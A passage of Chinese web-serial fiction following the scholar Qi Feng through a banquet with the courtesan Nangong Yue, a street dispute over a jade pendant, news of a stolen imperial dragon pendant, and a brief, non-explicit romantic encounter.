伴随着琴音,一阵淡淡的茉莉花香飘然而至,雅间的雕花木窗缓缓打开,一道白衣身影从天而降,轻盈如仙,裙摆在空中划出一道优雅的弧线。
众人屏息凝神,目光齐齐望去,只见那白衣女子正是醉月楼的花魁南宫玥!
她一袭白纱轻裙,腰间束着一条碧色丝带,长发如瀑,眉目如画,宛若画中仙子。
她的出现,像是将整个雅间的空气都凝固了,唯有琴音与花香在空气中流淌。
南宫玥裙摆轻扬,她的舞姿曼妙,轻盈如燕,纤腰款款摆动,衣袖在空中划出优雅的弧线。
赵明德捋着胡须,眼中满是赞叹,低声道:“南宫姑娘的舞艺,果真是府城一绝!今日能见此舞,不虚此行!”
周子陵也忍不住拍案叫好:“妙!妙不可言!南宫姑娘这舞,怕是连京城的宫廷舞姬都要自叹不如!齐兄,你说是不是?”
齐枫倚在椅背上,端着酒杯,目光落在南宫玥的舞姿上,嘴角微微上扬:“周兄说得不错,南宫姑娘的舞,的确有几分仙气。看来今日这宴席,赵大人可是下了血本。”
赵明德哈哈一笑,摆手道:“齐公子谬赞了!南宫姑娘听闻你春闱在即,特意为今日宴席排了这支舞,算是为你扬威壮志!齐公子,你可得好好领这份情!”
齐枫挑了挑眉,目光扫过南宫玥,恰好对上她那双如秋水般的眸子。
她的眼神中似有笑意,舞姿却未停,步伐越发轻盈,仿佛在回应齐枫的目光。
齐枫心头微动,笑着举杯,朝赵明德道:“赵大人盛情,南宫姑娘的美意,学生铭记在心。这杯酒,敬大人,也敬南宫姑娘!”
陈玉堂在一旁看得眼热,突然拍桌笑道:“齐兄,南宫姑娘这舞可是为你而跳,如此美人当前,你这大才子难道不该赋诗一首,以谢佳人?”
此言一出,雅间内的气氛顿时一凝,众人的目光齐刷刷地落在齐枫身上。
第六十二章 全天下男人都会犯的错
赵明兰杏眼微眯,带着几分期待又有些挑衅地看向他:“对啊,齐大才子,上回你在书院七步成诗,今日有南宫姑娘的舞姿助兴,你不会藏拙吧?”
周子陵也跟着起哄:“齐兄,诗会上的水调歌头至今让我等回味无穷,今日可别让我们败兴而归啊!”
齐枫被众人围着起哄,哭笑不得,放下酒杯,摆手道:“诸位,学生刚到府城,风尘仆仆,诗兴怕是未起。南宫姑娘的舞姿虽美,但作诗也得看灵感……”
他话未说完,却见南宫玥的舞步微微一顿,目光若有若无地扫了他一眼,似笑非笑,明显带着几分挑逗。
齐枫心头一跳,暗道:这南宫玥,怕是故意在激我!
他清了清嗓子,起身拱手,朗声道:“也罢,既然诸位有兴,学生便献丑了,南宫姑娘,请继续起舞,学生试着赋诗一首,若有不妥之处,还望海涵!”
南宫玥闻言,唇角微微上扬,琴音骤然加快,她的舞姿也随之变得更加灵动,衣袖翻飞,宛如一朵盛开的白莲。
齐枫凝神片刻,目光追随着她的身影,缓缓开口:“玉人轻舞月华浓,琴韵悠悠动九重。衣带飘香风拂柳,凌波微步踏清虹。”
一首诗脱口而出,简短却意境悠远,琴音与舞姿相得益彰。
雅间内的众人听罢,齐声叫好,赵明德抚掌大笑:“好诗!好诗!齐公子果真才华横溢,这诗与南宫姑娘的舞姿相辅相成,堪称绝配!”
周子陵也连连点头:“齐兄此诗,寥寥数语,却将南宫姑娘的舞姿描绘得淋漓尽致!佩服,佩服!”
赵明兰哼了一声,撇嘴道:“还算不错,勉强能听。”
话虽如此,她的眼中却闪过一丝惊艳,忍不住又多看了齐枫两眼。
南宫玥的舞姿在诗声中越发曼妙,琴音渐急,她的脚步如行云流水,衣裙在灯光下泛起淡淡的光泽,仿佛整个人都融入了这片月华之中。
舞毕,她轻轻收势,裙摆缓缓垂落,朝众人盈盈一礼,声音清脆如珠落玉盘:“多谢齐公子赠诗,小女子献丑了。”
说罢,她莲步轻移,端起一盏酒,款款走到齐枫身前,笑盈盈道:“齐公子诗才无双,小女子敬你一杯,以谢赠诗之情。”
齐枫笑着接过酒杯,与她轻碰:“南宫姑娘过奖了,你的舞姿才是今日宴席的点睛之笔。这杯酒,学生先干为敬!”
说罢,他仰头饮尽,动作洒脱。
南宫玥掩唇轻笑,也饮尽杯中酒,目光流转间,带着几分让人捉摸不透的意味。
她转身回到席间坐下,恰好坐在齐枫身旁,与赵明兰一左一右,将齐枫夹在中间。
赵明兰见状,眉头微微一皱,端起酒杯,故意提高声音道:“南宫姑娘的舞姿的确惊艳,不过齐枫,你这首诗写得虽好,怕是还欠了点火候吧?要不我再给你点灵感,你再作一首?”
齐枫哭笑不得,摆手道:“赵小姐,你这是要让我当场累死啊?一首诗已是勉力为之,再作一首,怕是要把我的才华榨干了!”
南宫玥闻言,掩嘴轻笑,斜睨了赵明兰一眼,柔声道:“赵小姐何必为难齐公子?他的诗才,府城谁人不知?小女子今日得此一诗,已是心满意足。”
她的语气虽然温柔,却隐隐带着几分挑衅,仿佛在与赵明兰较劲。
赵明兰哼了一声,不甘示弱地看向齐枫:“齐枫,你说,南宫姑娘的舞好,还是本小姐的人好?你别光顾着作诗,评评理!”
齐枫被夹在两人中间,头皮发麻。
这俩姑奶奶,怕是要把我当靶子了!
他连忙举杯,笑着打圆场:“两位姑娘各有千秋,南宫姑娘的舞姿如仙,赵小姐的人也精灵可爱,学生可不敢妄加评判!来来来,咱们喝酒,喝酒!”
众人见他这副左右为难的模样,哄笑起来,周子陵挤眉弄眼道:“齐兄好福气,左拥右抱,羡煞旁人啊!”
陈玉堂也跟着起哄:“就是!齐兄,你这艳福,怕是府城无人能及!”
齐枫瞪了两人一眼,没好气道:“你们俩少来添乱!再胡说八道,信不信我让你们俩对诗去?”
雅间内笑声不断,气氛越发热烈。
楚清秋站在角落,面纱下的目光却始终落在齐枫身上。
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南宫玥与赵明兰一左一右,争相与齐枫说话。
小荷站在她身旁,浑然不觉,兀自低声嘀咕:“青禾姐姐,你看少爷,左边南宫姑娘,右边赵小姐,少爷也真是的,都不会拒绝的吗!”
楚清秋闻言,声音清冷:“少爷才华横溢,自是招人喜爱,两位佳人又国色生香,少爷不过是犯了全天下男人都会犯的错误。”
她的话平静如水,却带着几分酸涩。
小荷眨了眨眼,笑嘻嘻道:“青禾姐姐,你这话怎么酸溜溜的?莫不是你也想坐到少爷旁边去?要不我去帮你挤开她们?”
楚清秋一怔,瞪了她一眼:“休要胡说!少爷的事,与我何干?”
说罢,她的目光却不由自主地再次落向齐枫,眉头微微蹙起。
宴席持续到深夜,众人推杯换盏,笑语不断。
齐枫喝得微醺,脸上却依旧带着笑,应对着众人的敬酒。
南宫玥与赵明兰不时与他搭话,一个温柔似水,一个娇俏活泼,倒是让齐枫有些招架不住。
酒过三巡,齐枫起身告辞:“赵大人,周兄,陈兄,今日宴席盛情难忘,学生明日还要准备春闱,就先谢过了!”
他朝众人拱手,带着楚清秋和小荷离开雅间。
醉月楼外,夜色深沉,齐枫脚步有些虚浮,楚清秋默默扶着他,小荷提着灯笼在前面引路。
回到客栈,楚清秋将齐枫扶进房中,皱着眉头取来湿帕子,为他擦去额头的汗。
齐枫半靠在榻上,眯着眼笑道:“青禾,你这帕子擦得可真舒服,比小荷那丫头强多了。”
楚清秋动作一顿,面纱下的脸颊微微泛红:“少爷喝多了,早些歇息吧。”
齐枫正要再调侃两句,忽听窗外传来一声清脆的鸟鸣,尖锐急促,在夜色中显得格外刺耳。
楚清秋脸色一变,猛地起身,目光扫向窗外:“少爷,你先歇着,我回房了。”
她身形一闪,推门而出,消失在夜色中。
齐枫靠在榻上,酒意未散,却缓缓睁开了双眼,眼中闪过一抹清明,朝着楚清秋离去的位置看了一眼。
第六十三章 春围前日
翌日清晨。
齐枫从宿醉中醒来,头还有些昏沉,他揉了揉太阳穴,缓缓坐起身。
房内,小荷正忙着端来一盆热水,笑嘻嘻道:“少爷,您可算醒了!昨晚喝得那么凶,青禾姐姐都担心您一觉睡到春闱开考!”
楚清秋站在一旁,手里拿着一套干净的青色长袍,闻言淡淡道:“小荷,莫要胡说。少爷,热水已备好,请更衣沐浴。”
她的声音一如既往清冷,但目光落在齐枫身上时,却带着几分柔和,似有不舍,也不知道昨晚听到鸟叫之后,发生了什么。
齐枫伸了个懒腰,笑着调侃:“青禾,你这眼神,怎么像是怕我跑了似的。放心,本少爷可是要考秀才的,哪能在这节骨眼上掉链子?”
他接过小荷递来的毛巾,擦了把脸,目光不经意扫过楚清秋。
小荷在一旁偷笑,挤眉弄眼道:“少爷,青禾姐姐昨晚可是一直守着您,连眼都没合!您瞧,她这不舍的模样,是不是舍不得您去考场受苦!”
楚清秋闻言,手指一顿,面纱下的脸颊微微泛红,瞪了小荷一眼:“休要胡言乱语!少爷春闱在即,我不过是尽职罢了。”
她说着,将长袍递给齐枫,目光却不自觉地在他脸上多停留了一瞬。
齐枫接过衣袍,笑着摇头:“好了好了,小荷别逗你青禾姐姐了,本少爷这就沐浴更衣,准备去府衙走一趟,春闱的事得再确认确认。”
他起身走进屏风后,哗啦啦的水声响起,小荷吐了吐舌头,忙去收拾床铺。
不多时,齐枫换好一身崭新的青色长袍,束发整齐,精神抖擞地走了出来。
楚清秋抬头看他,眼中闪过一丝惊艳,随即低下头道:“少爷,春闱考场定在三日后,府衙已在城南设下考棚,届时会有学政和主考官亲自主持。少爷需得早做准备。”
齐枫点点头,拍了拍衣摆:“知道了,青禾。春闱考的是经义和策论,我这几天得把周山长给的策论集再看一遍。走吧,咱们先去府衙找赵大人问问详情。”
正说着,客栈外传来一阵急促的脚步声,紧接着一个娇俏的声音响起:“齐枫!你起了没?本小姐特意来找你!”
话音未落,赵明兰一身鹅黄罗裙,风风火火地推门而入,杏眼圆睁,脸上带着几分兴奋。
齐枫一愣,笑着拱手:“赵小姐来得早啊!刚起床还没吃早饭呢,你这是要拉我去哪儿?”
赵明兰哼了一声,双手叉腰:“当然是逛街!府城这么热闹,你整天闷在客栈里读书,人都要傻了!走,本小姐带你去看看春闱前的热闹,顺便给你挑几支上好的狼毫笔!”
楚清秋站在一旁,目光微微一沉:“少爷,春闱在即,府城人多眼杂,出去逛街怕是不妥。”
齐枫挑眉,看了楚清秋一眼,笑道:“青禾,放心,我心里有数。赵小姐盛情难却,出去走走也好,散散心。”
赵明兰得意地瞥了楚清秋一眼,挽起齐枫的胳膊:“还是齐枫懂事!走吧,府城的早市可热闹了!”
楚清秋眉头微皱,眼中闪过一丝不快。小荷在一旁嘟着嘴:“青禾姐姐,你看赵小姐又黏上少爷了!怎么这么热情呀!”
楚清秋冷哼一声:“赵小姐性子直爽,少爷喜欢热闹,随她去吧。”
就在一行人准备出门时,客栈门口又传来一阵轻盈的脚步声,一个清脆的声音响起:“齐公子,留步!”
众人循声望去,只见南宫玥一袭白裙,宛如仙子,款款走来。
她手中拿着一把折扇,笑盈盈地看着齐枫:“齐公子今日在客栈,我特意来拜访,醉月楼昨晚的宴席,齐公子的诗让我回味无穷,今日可否赏脸,与小女子同游府城?”
齐枫一愣,随即笑道:“南宫姑娘来得巧啊!正要和赵小姐出去走走,既然你有兴致,不如一起?”
赵明兰一听,顿时不乐意了,瞪着南宫玥:“喂,南
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宫玥,你来凑什么热闹?本小姐先来的!”
南宫玥掩唇轻笑,目光柔和却不失锋芒:“赵小姐何必动气?府城这么大,齐公子又不是你的,谁不能邀?再说,齐公子的诗才,小女子甚是仰慕,想多讨教几句罢了。”
赵明兰杏眼一瞪,刚要反驳,齐枫连忙打圆场:“两位姑娘,别争了!府城这么热闹,咱们一起逛逛不就得了?青禾,小荷,你们也跟上,别落下了。”
楚清秋默默点头,目光却在南宫玥和赵明兰之间游移。
小荷兴奋地拍手:“好嘞,少爷!逛街我最在行了,待会儿给您挑几样好东西!”
一行人出了客栈,沿着府城的主街漫步。
春闱即将来临,府城比往日更加热闹,街道两旁挤满了摊贩,吆喝声此起彼伏。
考生们三五成群,捧着书卷讨论经义,商贩们则趁机推销笔墨纸砚,空气中弥漫着糖葫芦和煎饼的香气。
赵明兰挽着齐枫的胳膊,兴致勃勃地指着路边一家笔肆:“齐枫,这家的狼毫笔可是府城最好的,待会儿我给你挑一支,保准你写字如流水!”
南宫玥走在另一侧,轻轻摇着折扇,笑道:“赵小姐眼光不错,不过齐公子的字迹,怕是用什么笔都能挥洒自如。小女子昨日听闻,春闱考场就在城南的考棚,齐公子可有把握?”
齐枫摆摆手,笑得洒脱:“南宫姑娘过奖了,春闱的事尽力而为。考棚我昨晚听赵大人说了,三日后开考,经义,策论各占一半,考官是府城学政和朝廷来的主考官,规矩严得很。”
赵明兰哼了一声,抢话道:“齐枫,你肯定没问题!本小姐等着你考中秀才,到时候我亲自给你庆功!”
南宫玥掩嘴轻笑,瞥了赵明兰一眼:“赵小姐对齐公子信心十足,小女子也不甘落后。齐公子若高中,小女子愿在醉月楼为公子献上一舞,以贺佳绩。”
这是两女相争,不甘落后啊!
第六十四章 争端
齐枫哭笑不得,摆手道:“两位姑娘,学生还没考呢,你们就别给我压力了!逛街要紧,瞧瞧这府城的热闹,比书卷有趣多了。”
一行人在街头逛了半个时辰,买了几支狼毫笔和一叠宣纸,齐枫兴致颇高,不时与赵明兰和南宫玥调笑几句。
赵明兰和南宫玥却暗暗较劲,一个拉着齐枫去看糖人,一个非要带他去品茶,争得不可开交。
齐枫正无奈地劝解着两人,忽听前方不远处传来一阵争吵声,夹杂着几声怒骂,打破了街头的热闹。
众人一愣,齐枫皱起眉头,朝声音传来的方向看去。
赵明兰好奇地探头,杏眼一亮:“哟,这是谁在吵架?齐枫,走,咱们去瞧瞧热闹!”
南宫玥也掩唇轻笑,折扇轻摇:“街头争执,怕是有趣,齐公子不妨一观?”
楚清秋清冷的声音却从旁响起:“少爷,春闱在即,这种闲事还是少管为妙。”
小荷兴奋地拽了拽她的袖子:“青禾姐姐,别扫兴嘛!少爷最会处理这种事,瞧瞧热闹又不耽误工夫!”
齐枫摆摆手,笑道:“青禾,放心,我有分寸。两位姑娘既有兴致,咱们就去看看。”
他带着几人挤开围观的人群,朝争吵处走去。
人群中央,一家古玩摊前,两个年轻男子正争得面红耳赤。
摊子上摆着一块碧绿的玉佩,雕工精美,祥云纹路在阳光下泛着温润光泽,引人注目。
摊主站在一旁,满脸为难,搓着手不敢插话。争吵的两人正是陈玉堂和徐远。
陈玉堂一身锦袍,气势汹汹,指着玉佩道:“徐远,这玉佩是我先看中的!你非要横插一脚,算什么意思?想仗着你徐氏的财力硬抢?”
徐远冷笑一声,毫不退让:“陈玉堂,你少来这套!这玉佩分明是我先问的价,摊主可以作证!你陈家再有势,也不能这么霸道!”
摊主被点名,额头冒汗,赔笑道:“两位公子,这,这玉佩是稀罕物件,两位都看中了,小人实在为难。不如谁出价高,便归谁,如何?”
陈玉堂瞪了摊主一眼,哼道:“出价高?好!这玉佩我要了,我出五十两银子!”
徐远不屑地撇嘴:“五十两?你也好意思开口?我出八十两!”
“一百两!”陈玉堂咬牙,气势丝毫不让,“徐远,你再加价试试!”
“一百二十两!”徐远冷笑,双手抱胸,“陈玉堂,你陈家再有钱,能比得过我徐氏?”
围观的路人议论纷纷,指指点点:
“这玉佩虽好,可一百二十两也太离谱了!不就是块玉吗?”
“陈玉堂和徐远皆是府城四大家族的子弟,谁也不肯让谁,热闹了!”
“啧啧,这事可不好办,谁拿了这玉佩,怕是要得罪另一家。”
“听说徐远前些日子在醉月楼还跟人争过诗,这性子真是半点不服输!”
齐枫站在人群外,饶有兴致地看着这场争执。
陈玉堂他都打交道好几次了,也算仗义,家世不俗,徐远则是在醉月楼初次见面时有过一面之缘,行事张扬,颇有些纨绔气。
两人为了块玉佩争得不可开交,倒是让齐枫觉得好笑。
他低头看了眼玉佩,的确是块好玉,通体碧绿,雕工细腻,隐隐透着灵气,难怪两人都不肯相让。
他心头一动,暗道:这玉佩,怕是不简单,徐远和陈玉堂争得这么狠,背后怕是有别的名堂。
赵明兰挤到齐枫身旁,兴致勃勃道:“齐枫,这热闹可有意思!陈玉堂和徐远为了块玉佩吵成这样,你说这玉佩到底该归谁?本小姐瞧着,徐远那嚣张劲儿,怪不得招人烦!”
南宫玥站在另一侧,柔声道:“赵小姐说得有理,不过陈公子也不遑多让。这玉佩虽好,却是个烫手山芋,齐公子,你觉得该如何处理?”
齐枫挑眉,笑得意味深长:“两位姑
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娘,这事可不简单。陈玉堂和徐远都不是省油的灯,这玉佩背后怕是有故事。咱们先看戏,别急着掺和。”
楚清秋站在身后,目光清冷,淡淡道:“少爷,这种街头争执,你掺和进去怕是麻烦。”
小荷却兴奋地拍手:“青禾姐姐,少爷脑子灵光,肯定能想出好法子!说不定还能再作首诗呢!”
赵明兰闻言,哼了一声,瞥了小荷一眼:“作诗?小荷,你家少爷的诗才我承认,可这事靠诗能解决?齐枫,你倒是说说,这玉佩该归谁?”
南宫玥掩唇轻笑,接口道:“赵小姐急什么?齐公子才智过人,这等小事,定有妙法。小女子倒想看看,齐公子如何两全其美。”
赵明兰不甘示弱,扬起下巴:“南宫玥,你少来这套!齐枫,你快说,这玉佩到底该归谁?”
齐枫被两人夹在中间,哭笑不得,摆手道:“两位姑娘,稍安勿躁。这事我还没看明白,急什么?”
正说着,陈玉堂和徐远同时注意到齐枫,眼睛一亮,像是抓到了救命稻草。
陈玉堂高声道:“齐兄!你来得正好!快来评评理,这玉佩分明是我先看中的,徐远非要抢,你说该归谁?”
徐远冷哼一声,抱胸道:“齐公子,你可得公正些!这玉佩是我先问的价,摊主可以作证!陈玉堂这是仗势欺人,想硬抢!”
摊主被点名,头皮发麻,忙赔笑道:“齐公子,您,您给评评理吧,这玉佩,两位公子都想要,小人实在为难。”
围观的路人更加热闹,议论声此起彼伏:
“齐公子?那不是青田县的齐大才子吗?听说他诗才无双啊!”
“这事可不好办,不是作诗厉害就能决定什么的,齐公子要是偏帮谁,怕是要得罪另一家。”
“嘿,齐公子脑子灵光,兴许能想出两全其美的法子!”
话音落下,所有人的目光都齐刷刷落在了齐枫身上。
第六十五章 事关重大
赵明兰推了齐枫一把,笑嘻嘻道:“齐枫,瞧瞧,这下你可跑不掉!陈玉堂和徐远都指着你呢,快去给人家评评理,本小姐等着看你怎么解决呢!”
南宫玥也笑着点头,柔声道:“齐公子,街头争玉,传出去也是一桩趣闻。你若能化解,想必府城又要多一桩你的佳话。”
齐枫目光扫过陈玉堂和徐远,又看了看摊子上的玉佩,嘴角微微上扬。他轻轻一拍折扇,笑眯眯道:“有了!”
他上前一步,朝陈玉堂和徐远拱手:“两位公子,在下不过一介书生,贸然评判怕是不妥。不过,这玉佩之争,倒也不是无解。依我看,不如换个法子,既不伤和气,又能让这玉佩物尽其用,如何?”
陈玉堂皱眉,抱胸道:“齐兄,你有何高见?快说!这玉佩我势在必得!”
徐远冷哼一声:“齐公子,你若有法子,须得公平!这玉佩是我先看中的,凭什么让给他?”
齐枫笑着摆手,目光扫过玉佩,缓缓道:“两位都想要这玉佩,无非是看中它的珍稀与寓意。陈公子家世显赫,许是想以此玉佩彰显身份,徐公子家财雄厚,怕是想收藏此物,以增风雅。不如这样!”
他顿了顿,目光转向摊主,“这玉佩可有来历?摊主不妨说说。”
摊主一愣,忙赔笑道:“齐公子好眼力!这玉佩是前朝遗物,据说是某位王公的随身之物,雕工精湛,寓意福泽绵长。小人从一游商手中收来,的确是稀罕物件。”
齐枫点点头,折扇轻摇,笑道:“既是前朝遗物,寓意福泽绵长,那这玉佩就不该只归一人所有。陈公子,徐公子,学生有个提议,两位不妨共同出资,将这玉佩献给府城学政,作为春闱考场的镇场之宝。”
“春闱乃国之大典,这玉佩若能置于考场,寓意学子福泽绵长,岂不比一人独占更有意义?两位各出一半银子,既保全了面子,又得了美名,何乐不为?”
此言一出,众人皆是一愣,随即议论声四起。
“这法子妙啊!齐公子不愧是大才子,脑子转得快!”
“献给学政?既不得罪人,还能讨好考官,果然高明!”
“陈玉堂和徐远这下没话说了吧?谁还能挑刺?”
陈玉堂和徐远对视一眼,各自皱眉思索。
陈玉堂率先开口,脸色缓和了几分:“齐兄这法子倒是不错。献给学政,的确是桩美事。我陈家出五十两,徐远,你出多少?”
徐远哼了一声,摸了摸下巴,点头道:“齐公子的主意,公平得很。我徐氏也不差钱,就出五十两!这玉佩献给学政,我没意见!”
摊主一听,喜笑颜开,忙拱手道:“两位公子高义!小人这就收拾玉佩,送到学政大人府上!”
齐枫笑着合上折扇,朝两人拱手:“两位公子胸襟广阔,学生佩服。这玉佩既有了好归宿,今日的热闹也算圆满。诸位,散了吧!”
围观人群爆出一阵喝彩,纷纷称赞齐枫的机智。
赵明兰杏眼一亮,拍手道:“齐枫,你这脑子真灵!这下陈玉堂和徐远都没话说了!又有名声,又解决了麻烦。”
南宫玥掩唇轻笑,柔声道:“齐公子果然才智过人,这等争端,三言两语便化解,小女子佩服。”
楚清秋站在一旁,目光微微柔和:“少爷此法,的确妥当。”
小荷则兴奋地拽着她的袖子:“青禾姐姐,瞧瞧,少爷多厉害!这玉佩的事,连我都想不到这么妙的法子!”
楚清秋翻了个白眼:“你能想到就怪了。”
陈玉堂和徐远各自收敛了火气,朝齐枫拱手。
陈玉堂笑道:“齐兄,今日多亏你,不然我跟徐远怕是要吵到天黑!走,附近有家酒肆,咱们喝一杯,算是谢你!”
徐远也点头:“不错!齐公子,我徐远也不是小气之人,今日这酒,我请!”
齐枫摆手笑道:“两位盛情,在下就不推辞了。赵小姐,南宫姑娘,青禾,小荷,一起吧?”
赵明兰抢先道:“去就去!本小姐还没喝够呢!”
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南宫玥轻轻一笑,点头应允。
楚清秋虽有些不情愿,但见齐枫兴致高,也默默跟上。
一行人来到街角一家酒肆,点了壶清酒,几碟小菜,围坐一桌。
陈玉堂举杯道:“齐兄,刚才的事多谢了!这杯酒,我敬你!”
徐远也不甘落后,举杯道:“齐公子,今日我算服了!来,干一杯!”
齐枫笑着回敬,酒肆内的气氛渐渐热络。
赵明兰和南宫玥依旧不甘示弱,时不时插话,争着与齐枫搭腔,惹得陈玉堂和徐远笑声不断。
酒过三巡,齐枫起身道:“诸位,时候不早,在下还得去府衙找赵大人商议春闱之事,就先谢过了!”
众人纷纷起身送行,赵明兰嘟囔着要再逛街,南宫玥则笑盈盈地表示改日再会。
齐枫带着楚清秋和小荷刚走出酒肆,迎面便见一个熟悉的身影快步走来,正是按察使卢正淳。
他一身便服,风尘仆仆,见到齐枫,眼中闪过一丝笑意:“齐公子?来得正好!本官正要去府衙找赵大人商议要事,你既在府城,不如一同前往?”
齐枫一愣,拱手道:“卢大人,您这趟来府城,可是有什么大事?学生正要去拜访赵大人,不如一起?”
卢正淳点点头,拍了拍齐枫的肩膀:“好!齐公子春闱在即,精神头不错。走吧,赵大人怕是也在等你。”
齐枫点头,朝卢正淳道:“卢大人,请!”一行人沿着主街,朝府衙方向走去。
街头的喧嚣渐渐远去,齐枫心头却隐隐升起一丝预感。
卢正淳此行,怕是不简单。
来到府衙,门前的卫兵见是卢正淳,忙躬身行礼,引着众人进入正厅。
赵明德早已在厅内等候,见齐枫与卢正淳同来,略显惊讶,随即起身相迎:“卢大人,齐公子,你们怎的一起来了?快请坐!”
卢正淳摆摆手,脸色陡然严肃,沉声道:“赵大人,齐公子,本官此来,是为了一桩要事。皇宫丢了一件东西,事关重大!”
第六十六章 皇宫失宝
正厅内,气氛陡然凝重。
卢正淳的话如同一块巨石投入平静的湖面,赵明德端坐主位,眉头紧锁,目光在卢正淳和齐枫之间游走。
齐枫站在一旁,神色如常,眼中却闪过一丝好奇。
楚清秋和小荷站在他身后,默不作声,但楚清秋的目光却是微微闪烁。
卢正淳捋了捋袖子,沉声道:“赵大人,齐公子,皇宫失了一件宝物,事关重大!此物乃乾朝覆灭后,圣上从乾朝国库中所得的战利品,名唤碧玺龙佩,据传是乾朝皇室至宝,内藏玄机,不仅象征皇权威严,更与乾朝国运息息相关。圣上震怒,下旨彻查,怀疑是乾朝余孽所为!”
赵明德闻言,脸色一变,忙起身拱手:“卢大人,此事非同小可!碧玺龙佩失窃,圣上震怒,府城作为江南重镇,定要全力配合!可有何线索?乾朝余孽,这,怕是不好查啊!”
卢正淳摆摆手,目光扫过厅内众人:“线索不多,但圣上推测,偷盗之人必与乾朝余党有关。龙佩失窃的消息尚未公开,为免引起民心动荡,圣上命本官秘密调查。赵大人,府城人流复杂,春闱在即,各地士子云集,正是鱼龙混杂之时,需得加倍小心!”
齐枫站在一旁,闻言心头微动。
他虽未见过那碧玺龙佩,但从卢正淳的描述中,已能感受到此物的重要性。
乾朝覆灭已有些时间了,余孽潜藏暗处,若真有人胆敢潜入皇宫盗宝,怕是早有筹谋。
他不动声色,拱手道:“卢大人,学生不过一介书生,恐难参与如此大事。不过春闱在即,府城的确人多眼杂,若有需要,学生愿尽绵薄之力。”
卢正淳看了他一眼,眼中闪过一丝赞赏:“齐公子不必过谦,你在青田县的作为,机敏过人,定能助一臂之力。此事本官已安排人手,近日将在府城及周边几座古城暗中探查,务必找出龙佩下落。乾朝余孽若真藏身于此,定要将其连根拔起,以绝后患!”
赵明德连连点头,沉吟道:“卢大人所言极是!府城守备森严,本官即刻命人加强巡查,凡有可疑之人,绝不放过!只是这龙佩之事,是否需通知学政大人?春闱考场人多,若余孽混入,恐生变故。”
卢正淳皱眉思索片刻,缓缓道:“学政大人那边,本官自会知会。春闱乃国之大典,断不能因龙佩之事扰乱考场秩序。赵大人,你需暗中布置,切不可打草惊蛇。至于齐公子……”
他顿了顿,目光落在齐枫身上,“你春闱在即,首要之事是备考,但若在府城听到什么风吹草动,不妨告知本官或赵大人。”
齐枫拱手应道:“卢大人放心,学生明白。若有任何消息,定当禀报。”
楚清秋站在他身后,面纱下的目光微微一闪,似乎想说什么,却终究沉默。
小荷则瞪大眼睛,悄悄扯了扯楚清秋的袖子,低声道:“青禾姐姐,这龙佩的事听着好吓人!少爷不会掺和进去吧?”
楚清秋回道:“少爷自有分寸,你少操心。”
赵明德见气氛沉重,忙打圆场,笑道:“卢大人,齐公子,今日既聚于此,龙佩之事虽重大,但春闱同样不可忽视。齐公子才华横溢,青田县无人不知,春闱定能一鸣惊人!本官先在此预祝齐公子金榜题名,为我江南士子争光!”
卢正淳闻言,脸上也露出几分笑意,点头道:“赵大人说得是!齐公子,春闱考场,定要一展身手!若你高中,本官亲自为你庆功!”
齐枫笑着摆手:“两位大人过奖了,学生不过一介书生,春闱之事尽力而为罢了。眼下考场在即,学生这几日定会潜心复习,不负两位大人期望。”
赵明德哈哈一笑,端起茶盏:“好!齐公子有此心志,定能高中!来,今日虽无酒,但以茶代酒,祝齐公子旗开得胜!”
卢正淳也举起茶盏,齐枫连忙回礼,三人相视一笑,气氛稍稍缓和。
正厅内的谈话持续了一炷香的工夫,卢正淳将龙佩失窃
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的细节又细细交代了一番,叮嘱赵明德加强府城巡查,随后便起身告辞。
“赵大人,齐公子,本官还需赶往邻近的古城查探,此事宜早不宜迟,就先谢过了!”
赵明德忙起身相送:“卢大人慢走!府城之事,本官定当全力配合!”
齐枫也拱手道:“卢大人一路小心,学生告退。”
卢正淳点点头,带着随从匆匆离去。
赵明德送走卢正淳后,转身看向齐枫,叹道:“齐公子,龙佩之事非同小可,你在府城行走,务必小心。春闱考场,规矩森严,你这几日多看看策论集,切莫分心。”
齐枫笑着应道:“多谢赵大人提醒,学生明白。今日叨扰,就先告辞了。”
他带着楚清秋和小荷离开府衙,夕阳西斜,府城的主街依旧热闹非凡。
小荷提着灯笼,走在前面,兴奋地回头道:“少爷,卢大人说的那龙佩,听着好神秘!您说会不会真有乾朝余孽藏在府城?咱们今天逛街,没准儿就碰上了!”
齐枫笑着敲了敲她的头:“你这丫头,脑子里尽是奇思妙想。龙佩的事自有卢大人和赵大人操心,咱们还是老老实实备考,考个秀才回来才是正经。”
楚清秋走在身旁,闻言淡淡道:“少爷说得是,春闱在即,切莫因闲事分心,今日街头之事已够热闹,少爷还是早些回客栈温书。”
齐枫挑眉,瞥了她一眼,笑道:“青禾,你这话怎么酸溜溜的?莫不是还在为赵小姐和南宫姑娘的事不高兴?”
楚清秋一怔,面纱下的脸颊微微泛红,瞪了他一眼:“少爷多心了,我不过是提醒你莫要忘了正事。”
小荷在一旁偷笑,挤眉弄眼道:“少爷,青禾姐姐这是关心您呢!您瞧,刚才在府衙,她一直盯着您,生怕您被卢大人拉去查什么龙佩!”
齐枫哈哈一笑,刚要再调侃几句,忽听身后传来一阵轻盈的脚步声,伴随着一个清脆悦耳的声音:“齐公子!留步!”
第六十八章 考完收工
齐枫心头一叹,暗道:罢了,前世风流,今生何必强求清心寡欲?
烛光摇曳,雅间内的气氛渐渐升温。
南宫玥的衣裙轻滑,宛如月华流转,齐枫的青袍也散落在地。
两人相拥,气息交缠,月光从雕花窗洒入,映得室内一片旖旎。
南宫玥的**如琴音般轻柔,齐枫的动作却如同迅雷。
一个时辰后,雅间的烛火已燃去大半,空气中弥漫着淡淡的余香。
南宫玥整理好衣裙,脸颊泛着红晕,目光却柔得能滴出水来:“齐公子,小女子唐突了,你莫要怪我。”
齐枫整理好青袍,笑着摇头:“南宫姑娘何出此言?今日之事,你情我愿,在下并非不通情理之人。只是……”
他顿了顿,目光扫向窗外,“春闱在即,我不便在醉月楼久留,免得招人非议。”
南宫玥闻言,眼中闪过一丝失落,却很快掩去,柔笑道:“齐公子说得是。小女子送你下楼,春闱要紧,公子定要金榜题名。”
她起身,亲自为齐枫披上外袍,两人推开雅间门,下了楼。
楼下大堂,楚清秋和小荷早已用完餐,正坐在角落。
小荷一见齐枫下来,立马跳起来,气鼓鼓地跑过来,杏眼瞪得圆圆的:“少爷!你和南宫姑娘在上面待了这么久,干嘛呢?说,是不是偷偷摸摸做什么坏事了?”
齐枫哭笑不得,敲了敲她的头:“你这丫头,脑子里想什么呢?我和南宫姑娘不过是讨论了些诗词,时候不早,该回去了。”
楚清秋站在一旁,闻言目光微微闪烁,却并未多言。
她淡淡道:“少爷,夜深了,早些回客栈歇息吧。”
